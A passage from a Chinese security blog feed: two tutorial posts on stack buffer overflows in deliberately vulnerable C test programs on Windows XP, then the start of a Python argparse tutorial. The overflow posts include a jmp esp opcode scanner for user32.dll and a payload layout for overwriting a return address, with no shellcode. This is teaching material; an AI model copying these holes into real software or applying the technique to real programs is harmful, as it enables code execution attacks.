alt="image-20191221110334737"></p><p>我们也用OD载入上一篇中的<code>test1.exe</code>,来具体分析一下,上面说的什么意思!</p><p>我们直接执行到mian函数最后一个地址,然后F8一步步执行到<code>0x4010a6</code>地址中, 即retn语句处,此时我们关注一下esp寄存器所保存的值:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221111335755.png" alt="image-20191221111335755"></p><p>关注我标箭头的几个位置,我们继续执行:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221111542971.png" alt="image-20191221111542971"></p><p>主要关注esp的值。可以发现,esp的值由刚才的<code>0x0012FF84</code>变成了<code>0x0012FF88</code>,从栈空间来看,即刚才那个值的下一个位置。不要忘了,<code>0x0012FF84</code>位置正式我们想要修改的返回地址的位置。</p><p> 总结一下,我们可以得知,当main函数执行完毕的时候,esp的值会自动变成返回地址的下一个位置,而esp的这种变化,一般是不受任何情况影响的。既然我们知道了这一个特性,那么其实就可以将返回地址修改为esp所保存的地址,也就是说,我们可以让程序跳转到esp所保存的地址中,去执行我们所构造的指令,以便让计算机执行。</p><p> 当然了,以上我所讲的是正常的情况,也就是返回地址没有被破坏的情况,那么如果返回地址被破坏了,esp还具备这种特性吗?不妨再用OD载入<code>test4.exe</code>这个存在缓冲区溢出问题的程序,来研究一下,因为我们之前的字符长度,没办法覆盖到shellcode部分,所以我们加长字符,c代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h> </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h> //引入头文件</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> name[] = <span class="string">"betaobetaobetaobetaobetao"</span>; <span class="comment">//定义全局变量,!!!</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> <span class="comment">//返回值 主函数main()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buffer[<span class="number">8</span>]; <span class="comment">//开辟80个字节的空间用来存储变量name !!!</span></span><br><span class="line"> <span class="built_in">strcpy</span>(buffer,name); <span class="comment">//内置函数(作用):将变量name内容赋值给buffer变量</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>,buffer); <span class="comment">//输出</span></span><br><span class="line"> getchar(); <span class="comment">//方便观察 作用:等待用户输入按键</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; <span class="comment">//返回值</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>首先还是先来到main函数的retn的位置: </p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221112251752.png" alt="image-20191221112251752"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221112542641.png" alt="image-20191221112542641"></p><p>到这里我们就应该知道,为什么要跳转了吧???那么我们接下来要解决的就是,如果让程序跳转到 esp的位置呢,也就是执行<code>jmp esp</code> 这条指令 ,<code>jmp esp</code>指令对应的机器码是<code>0xFFE4</code> </p><p>我们接下来编写一个程序,来在<code>user32.dll</code>这个动态链接库中寻找<code>jmp esp</code>这个机器指令的内存地址(<code>jmp esp</code>很多动态链接库都有,这里只是做一个例子):</p><p>C代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DLL_NAME <span class="meta-string">"user32.dll"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> BYTE* ptr;</span><br><span class="line"> <span class="keyword">int</span> position,address;</span><br><span class="line"> HINSTANCE handle;</span><br><span class="line"> BOOL done_flag = FALSE;</span><br><span class="line"> handle=LoadLibrary(DLL_NAME);</span><br><span class="line"> <span class="keyword">if</span>(!handle)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">" load dll erro !"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> ptr = (BYTE*)handle;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">for</span>(position = <span class="number">0</span>; !done_flag; position++)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span>(ptr[position] == <span class="number">0xFF</span> && ptr[position+<span class="number">1</span>] == <span class="number">0xE4</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">//0xFFE4 is the opcode of jmp esp</span></span><br><span class="line"> <span class="keyword">int</span> address = (<span class="keyword">int</span>)ptr + position;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"OPCODE found at 0x%x\n"</span>,address);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span>(...)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">int</span> address = (<span class="keyword">int</span>)ptr + position;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"END OF 0x%x\n"</span>, address);</span><br><span class="line"> done_flag = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> getchar();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221144508319.png" alt="image-20191221144508319"></p><p>注:编译运行,文件名必须是<code>.cpp</code>后缀,不能<code>.c</code></p><p>由上图可以看到,地址非常多,这里我使用倒数第二行<code>0x77e35b79</code>,也就是说,我需要使用这个地址来覆盖程序的返回地址。这样,程序在返回时,就会执行jmp esp,从而跳到返回地址下一个位置去执行该地址处的语句。 </p><p> 还有一个注意点:有很多种方法可以获取jmp esp,而且不同的系统这个地址可能是不同的。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221144833652.png" alt="image-20191221144833652"></p><p>接下来我们进行地址的验证。我们随便附加一个进程可执行文件。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191221145211651.png" alt="image-20191221145211651"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p> 到这里可以先总结一下我们即将编写<code>name</code>数组中的内容了,经过以上分析可知道,其形式为<code>betaobetaobeXXXXShellcode...</code>,前面12个为任意字符,XXXX返回地址我们使用<code>0x77e35b79</code></p><p>而<code>Shellcode....</code>便是我们想要计算机执行的代码。shellcode编写待更…(需要汇编基础)</p>]]></content>
<summary type="html"><p>我们这次的环境跟上一篇一样,上一篇只是分析了发生的原因,这一篇我们就对产生缓冲区溢出进行利用,还是之前那两个程序<code>test1.exe</code> and <code>test2.exe</code>的基础上进行讲解,所以上一篇一定要理解!!!</p>
<p>缓冲</summary>
<category term="网络安全" scheme="https://taonn.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="溢出攻击" scheme="https://taonn.github.io/tags/%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/"/>
</entry>
<entry>
<title>缓冲区溢出原理分析(一)</title>
<link href="https://taonn.github.io/2020/10/06/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90-%E4%B8%80/"/>
<id>https://taonn.github.io/2020/10/06/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90-%E4%B8%80/</id>
<published>2020-10-06T00:25:57.000Z</published>
<updated>2021-03-16T05:28:01.309Z</updated>
<content type="html"><![CDATA[<p> 什么是缓冲区溢出???先作下类比,如果某个人把一瓶啤酒全部倒入一个小杯子中,那装不下的啤酒就会四处冒出,流到桌子上。</p><p> 同样的道理,在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统定义好了。缓冲区就很像那个啤酒杯,用来装东西,而且大小固定。</p><p> 向缓冲区内填充数据,如果数据的长度很长(如同那瓶啤酒),超过了缓冲区(那个啤酒杯)本身的容量,那么结果就如同啤酒一样,四处溢出,数据也会溢出存储空间!装不下的啤酒会流到桌子上,而装不下的数据则会覆盖在合法数据上,这就是缓冲区和缓冲区溢出的道理。当然在理想的情况下,程序检查每个数据的长度,并且不允许超过缓冲区的长度大小,就像在倒啤酒的时候,啤酒要冒出杯子时我们就停止。但有些程序会假设数据长度总是与所分配的存储空间相匹配,而不作检查,从而为缓冲区溢出埋下隐患。OK,那我们如何利用缓冲区溢出呢在一般情况下,就像啤酒会到处流满桌面一样,溢出的数据会覆盖掉任何数据、指针或内容。除了破坏之外,对攻击者来说没有任何好处。但我们可引导溢出的数据,使计算机执行我们想要的命令。这就是很多漏洞公告上说的:‘黑客可以用精心构造的数据……</p><p> - > 摘选自 王炜老师的《<em>Q版缓冲区</em>溢出教程》</p><h2 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h2><blockquote><p>操作机: windows XP</p><p>工具: <a href="https://www.52pojie.cn/thread-675251-1-1.html">DA</a> pro , <a href="https://www.52pojie.cn/thread-350397-1-1.html">OllyDbg</a>,vc++6.0; </p><p>测试软件:test1.exe, test2.exe</p></blockquote><p>我们下面的实验是通过编写两个C例程序,使用工具OD,IDA pro进行逆向分析。针对汇编语句中CALL机制剖析缓冲区溢出的基本原理 。</p><h2 id="实验准备:"><a href="#实验准备:" class="headerlink" title="实验准备:"></a>实验准备:</h2><p>编写C代码程序,编译</p><p>test1.c,代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h> </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h> //引入头文件</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> name[] = <span class="string">"betao"</span>; <span class="comment">//定义全局变量</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> <span class="comment">//返回值 主函数main()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buffer[<span class="number">8</span>]; <span class="comment">//开辟8个字节的空间用来存储变量name</span></span><br><span class="line"> <span class="built_in">strcpy</span>(buffer,name); <span class="comment">//内置函数(作用):将变量name内容赋值给buffer变量</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>,buffer); <span class="comment">//输出</span></span><br><span class="line"> getchar(); <span class="comment">//方便观察 作用:等待用户输入按键</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; <span class="comment">//返回值</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>以上test1.c代码中,因为’betao’为超过buffer的空间,所以不会引起缓冲区溢出</p></blockquote><p>test2.c代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h> </span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h> //引入头文件</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> name[] = <span class="string">"betaobetaobetao"</span>; <span class="comment">//定义全局变量,!!! 注意,这里多了两个betao</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> <span class="comment">//返回值 主函数main()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buffer[<span class="number">8</span>]; <span class="comment">//开辟8个字节的空间用来存储变量name</span></span><br><span class="line"> <span class="built_in">strcpy</span>(buffer,name); <span class="comment">//内置函数(作用):将变量name内容赋值给buffer变量</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>,buffer); <span class="comment">//输出</span></span><br><span class="line"> getchar(); <span class="comment">//方便观察 作用:等待用户输入按键</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; <span class="comment">//返回值</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>以上test2.c代码,因为copy给buffer超出了空间,所以导致缓冲区溢出</p></blockquote><p>将C语言代码使用vc++6.0编程成可执行文件,大概步骤</p><blockquote><p>新建win32 console application -> 新建 C++ 源文件 -> 编写代码 -> 编译(选择win32 Debug) -> 生成exe可执行文件</p><p><strong>编译选择win32 debug操作如下:</strong></p><p> 右键点击菜单空白处——选择“组建”——选择“Win32 Debug“——重新编译链接</p></blockquote><p> 首先,我们先来运行一些编译好了的可执行文件<code>test1.exe</code> and <code>test2.exe</code>,看看两者区别</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220211457759.png" alt="image-20191220211457759"></p><p>第一个程序,没有任何异常</p><p> 可见程序已经得到了正确的执行与输出。但是我在程序中所创建出来的是一个8字节长度的数组,而我在程序中的输入是5个字节。如果我的输入超过八个字节会怎么样呢?</p><p>接下来,我们执行第二个程序</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220211551187.png" alt="image-20191220211551187"></p><p>可见,程序虽然也能够正确输出,但是却弹出了错误提示对话框。为什么会出现这种情况?我们接下来就来研究一下。</p><p>我们首先分析一下无异常的程序,也就是<code>test1.exe</code>,这里我们使用ollydbg来分析</p><p>将<code>test1.exe</code>载入ollydbg中,ollydbg载入方式有两种:</p><ul><li>鼠标直接将exe执行程序拖入OD控件区域</li><li>文件 -> 附加 -> 选择运行中的程序</li></ul><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220212336225.png" alt="image-20191220212336225"></p><p> 因为我们需要从main函数开始分析,而上图:004015B0地址为软件初始运行地址,并非main函数的起始地址。所以我们需要寻找main函数的内存地址。我们使用 IDA Pro 打开程序寻找,当然我们可以不断地按F8单步执行,通过观察获取,但是这样未免需要一定的经验,而且也比较麻烦。所以我们将程序拖入IDA中</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220213005763.png" alt="image-20191220213005763"></p><p>如果不是图上的情况,而是图下的情况,按一下空格键,即可调出图上内容</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220212914884.png" alt="image-20191220212914884"></p><p>双击进入如下页面:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220213151974.png"></p><p>按下空格键</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220213345908.png" alt="image-20191220213345908.png"></p><p>可见,IDA已经帮我们获取了main函数的入口地址,即<code>0x00401010 </code>,此时,我们可以切换到OD中,<code>Ctrl + G</code> 输入<code>401010</code>跳到该位置,按F2设置一个断点( 某个内存地址下了F2断点,当程序运行到此处的时候就会断下来 )</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220214324018.png" alt="image-20191220214324018"></p><p>由上面的截图,我们除了可以知道main函数的位置外,我们还从下面那段话“跳转来自 00401005”(英文版的是:jump from 00401005)得知main函数是由位于0x00401005位置处的语句跳过来的。由于缓冲区溢出是与栈空间紧密相关的,所以我们现在应当分析调用(CALL)main函数前后,栈空间的情况,所以这里我们就需要定位究竟是哪条语句调用了main函数。如果仅仅通过OD,我们是比较难定位的,所以这里我还是使用IDA Pro。</p><p>由于已经知道main函数的地址是0x00401010,那么我们在IDA中,用鼠标在该地址点一下,之后利用快捷键“Ctrl+X”打开“交叉引用窗口”,就来到了jmp到此的函数位置:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220214521642.png" alt="image-20191220214521642"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220214544784.png" alt="image-20191220214544784"></p><p>然后在0x00401005的地址处,再次利用“交叉引用”功能,我们就能够找到调用main函数的位置了:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220214634601.png" alt="image-20191220214634601"></p><p>位于 <code>0x00401694</code>处的语句调用了main函数,那么接下来我们在OD中来分析堆栈的情况</p><p>继续<code>Ctrl + G</code> 输入 401694 跳转到执行main函数的内存地址,F2设置断点</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220215539618.png" alt="image-20191220215539618"></p><p>注意上图中 红色箭头和黄色箭头的地方</p><p> 红色箭头 CALL语句下面的地址是0x00401699。这个地址很重要,为什么重要呢?因为我们的程序在进入每一个CALL之前,都会首先将CALL<strong>下面那条语句的地址入栈</strong>,然后<strong>再执行CALL语句</strong>。这样当CALL执行完后,程序再将该地址出栈,这样就能够知道下一步应该执行哪条指令. 我们一般也将这个地址称为“返回地址”,它告诉程序:“CALL执行完后,请执行这个地址处的语句。” </p><p>我们按下F9,跳转到此位置,查看栈中内容:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220215928730.png" alt="image-20191220215928730"></p><p>我们接下来按F7,进入这个CALL,此时再看一下栈空间(注:栈空间由下至上是高地址往低地址处走的 )</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220220111419.png" alt="image-20191220220111419"></p><p>是上上图CALL语句下一个内存地址哦,由此可见,返回地址0x00401669已经入栈 .</p><h2 id="分析main函数的缓冲区情况"><a href="#分析main函数的缓冲区情况" class="headerlink" title="分析main函数的缓冲区情况"></a>分析main函数的缓冲区情况</h2><p> 因为我们在源程序中创建了一个8个字节大小的数组,因此进入main函数后的首要工作就是为这个局部变量分配空间。由于我们的程序是以Debug形式编译的,所以它会多分配一些空间(Release版本则会分配正好的空间)。结合本程序可以看到,它为我们分配的局部变量空间大小为0x4C(7C - 34)->(F8一步步向下执行):</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220220929691.png" alt="image-20191220220929691"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220221935424.png" alt="image-20191220221935424"></p><p> 在上图中,比较重要的是最后两行。其中最后一行在之前已经说过了,是非常重要的<strong>返回地址</strong>,它决定了当main函数执行完毕后,程序所要执行的语句的地址,而倒数第二行是父函数的EBP 。</p><p> 再往上,就是我们的main函数的局部变量空间。这里大家可能会有疑惑,既然是分配给我们的空间,那么为什么还会有其它的数据呢? 我们继续往下执行 ,当我们执行完<code>0x401026</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220222344195.png" alt="image-20191220222344195"><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220222551168.png" alt="image-20191220222551168"></p><p>0X4C的空间大小(7C - 34), 这段空间都被0xCC填充了。这是因为程序为了容错性与保持自身的健壮性,于是利用0xCC,即int 3断点来填充满这段区域,这样一来,如果有未知的程序跳到这片区域,就不会出现崩溃的情况,而是直接断下来了。当然,这个问题与我们的缓冲区溢出没什么关系。</p><p>继续执行:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220222811127.png" alt="image-20191220222811127"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220222849625.png" alt="image-20191220222849625"></p><p>这里将<code>betao</code>入栈了,说明执行到了strcpy(),这个函数,我们通过IDA来查看一下,strcpy()函数的位置</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220223306866.png" alt="image-20191220223306866"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220223344255.png" alt="image-20191220223344255"></p><p>继续执行,查看堆栈中的情况</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220223433751.png" alt="image-20191220223433751"></p><p>发现<code>strcpy</code>函数的第二个参数,也就是接收字符串所保存的位置,其保存的位置为<code>0X0012FF78</code>(buffer变量)</p><p>到这里程序无异常,正常执行,继续F8,直至retn</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220223754120.png" alt="image-20191220223754120"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220223820151.png" alt="image-20191220223820151"></p><p>这个地址是不是很熟悉呢?没错就是返回地址</p><h2 id="对溢出程序分析"><a href="#对溢出程序分析" class="headerlink" title="对溢出程序分析"></a>对溢出程序分析</h2><p>其余跟上面步骤类似,我们直接跳至执行<code>strcpy</code>函数的内存地址分析</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220224251689.png" alt="image-20191220224251689"></p><p>继续执行,执行至retn,查看堆栈此时的情况:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220224431503.png" alt="image-20191220224431503"></p><p>我们右键显示一下ascii码:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220224531935.png" alt="image-20191220224531935"></p><p>由上图可知: 原本返回值:<code>0x00401699</code>地址被占用 且指向错误的地址(或不应该的地址)</p><p>F8执行,结果如图</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220224744720.png" alt="image-20191220224744720"> </p><p>此时我们发现了两件事,一件是OD中的反汇编代码窗口是空的,说明<code>0x006F6174</code>地址处不存在指令,或者说它就是一个无效地址。第二件事是OD弹出了错误对话框,提示我们该地址出错,这与我们直接执行程序时所弹出的错误对话框有几分类似。</p><p>这里先补充一下,为什么返回地址显示的是<code>tao</code>,而不是<code>aob</code>,因为buffer 空间只有8个字节,而我输入了15个字节,buffer后面的四个字节是ebp的地址.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">betaobetaobetao</span><br><span class="line">拷贝字符 EBP 覆盖内容</span><br></pre></td></tr></table></figure><h2 id="补充:"><a href="#补充:" class="headerlink" title="补充:"></a>补充:</h2><p>我们也可以通过执行<code>test2.exe</code>程序</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220230136615.png" alt="image-20191220230136615"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220230205983.png" alt="image-20191220230205983"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img//image-20191220230259576.png" alt="image-20191220230259576"></p><h2 id="总结:"><a href="#总结:" class="headerlink" title="总结:"></a>总结:</h2><p>缓冲区漏洞的原理,它就是因为我们输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符将返回地址覆盖掉了,当我们的函数需要返回的时候,由于此时的返回地址是一个无效地址,因此导致程序出错。</p><p>那么依据这个原理,假设我们所覆盖的返回地址是一个有效地址,而在该地址处又包含着有效的指令,那么我们的系统就会毫不犹豫地跳到该地址处去执行指令。因此,如果想利用缓冲区溢出的漏洞,我们就可以构造出一个有效地址出来,然后将我们想让计算机执行的代码写入该地址,这样一来,我们就通过程序的漏洞,让计算机执行了我们自己编写的程序。</p><blockquote><p>本文例子参考来源: <a href="https://blog.csdn.net/ioio_jy/article/details/48316029">https://blog.csdn.net/ioio_jy/article/details/48316029</a> </p></blockquote>]]></content>
<summary type="html"><p> 什么是缓冲区溢出???先作下类比,如果某个人把一瓶啤酒全部倒入一个小杯子中,那装不下的啤酒就会四处冒出,流到桌子上。</p>
<p> 同样的道理,在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统定义</summary>
<category term="网络安全" scheme="https://taonn.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="溢出攻击" scheme="https://taonn.github.io/tags/%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/"/>
</entry>
<entry>
<title>Python3--argparse模块简要使用</title>
<link href="https://taonn.github.io/2020/10/04/Python3-argparse%E6%A8%A1%E5%9D%97%E7%AE%80%E8%A6%81%E4%BD%BF%E7%94%A8/"/>
<id>https://taonn.github.io/2020/10/04/Python3-argparse%E6%A8%A1%E5%9D%97%E7%AE%80%E8%A6%81%E4%BD%BF%E7%94%A8/</id>
<published>2020-10-04T01:27:05.000Z</published>
<updated>2021-03-16T05:27:41.357Z</updated>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Python3中的argparse模块,是用来做<strong>命令行参数解析的</strong>,因为optparse模块已经不再更新,所以特此来为argparse的使用做个笔记</p><p>官网是这样说明的:</p><p> <em>3.2版后已可移除:</em>该<a href="https://docs.python.org/zh-cn/3.7/library/optparse.html#module-optparse"><code>optparse</code></a>模块已弃用,将不再进行开发;该<a href="https://docs.python.org/zh-cn/3.7/library/argparse.html#module-argparse"><code>argparse</code></a>模块将继续开发 </p><p>optparse官方说明地址: <a href="https://docs.python.org/zh-cn/3.7/library/optparse.html">https://docs.python.org/zh-cn/3.7/library/optparse.html</a> </p><p>这个模块的基本使用步骤跟optparse差别不大,使用步骤如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import argparse # 导入模块</span><br><span class="line"></span><br><span class="line">parser = argparse.ArgumentParser() # 创建一个解析对象</span><br><span class="line">parser.add_argument() # 添加参数</span><br><span class="line">parser.parse_args() # 解析</span><br></pre></td></tr></table></figure><p>**argparse.ArgumentParse()**方法有很多参数,但是最常用的就是description,</p><ul><li><p>prog = None # 程序名,默认为sys.argv[0]。另外,如果你需要在help中使用到程序的名字,可以使用%(prog)s </p></li><li><p>description = None # help时显示的开始文字</p></li><li><p>epilog = None # help时显示的结尾文字</p></li><li><p>prefix_chars=’-‘, - 命令的前缀,默认是‘-’ </p></li><li><p>add_help=True # 是否增加-h/–help选项,默认是True) </p></li><li><p>usage:# 描述程序用途的字符串 </p></li><li><p>….. </p></li></ul><p>更详细的使用,查看官方文档: <a href="https://docs.python.org/zh-cn/3.7/library/argparse.html">https://docs.python.org/zh-cn/3.7/library/argparse.html</a> </p><p><strong>add_argument()</strong> 方法和参数,我们实际使用来介绍:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"># file-name:print_name.py</span><br><span class="line">import argparse</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line"> parser = argparse.ArgumentParser(description='Dome of argparse ')</span><br><span class="line"> parser.add_argument('--name', '-n', default='Tao')</span><br><span class="line"></span><br><span class="line"> return parser</span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> parser = main()</span><br><span class="line"> args = parser.parse_args()</span><br><span class="line"> name = args.name</span><br><span class="line"> print('Hello {0}'.format(name))</span><br></pre></td></tr></table></figure><p>上述代码执行结果:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ python print_name.py --name dog</span><br><span class="line"><span class="comment"># 输出:Hello dog</span></span><br></pre></td></tr></table></figure><p>上面的代码中,我们首先导入了<code>argparse</code>模块,然后通过 <code>argparser.ArgumentParser</code>函数生成argparser对象 ,其中这个函数的<code>description</code>字段,表示在命令行显示的帮助信息时输出这个程序的描述信息,然后我们通过<code>add_argument</code>函数来增加参数,这里我添加了两个参数<code>-n</code>和<code>--name</code>,其中有个默认值字段<code>default</code>是Tao。然后我们这里发现,同一个值的设定可以设置多个参数。</p><p>这里默认值的意思是,如果我们不传这个参数,那么这个参数的值默认就是<code>Tao</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span 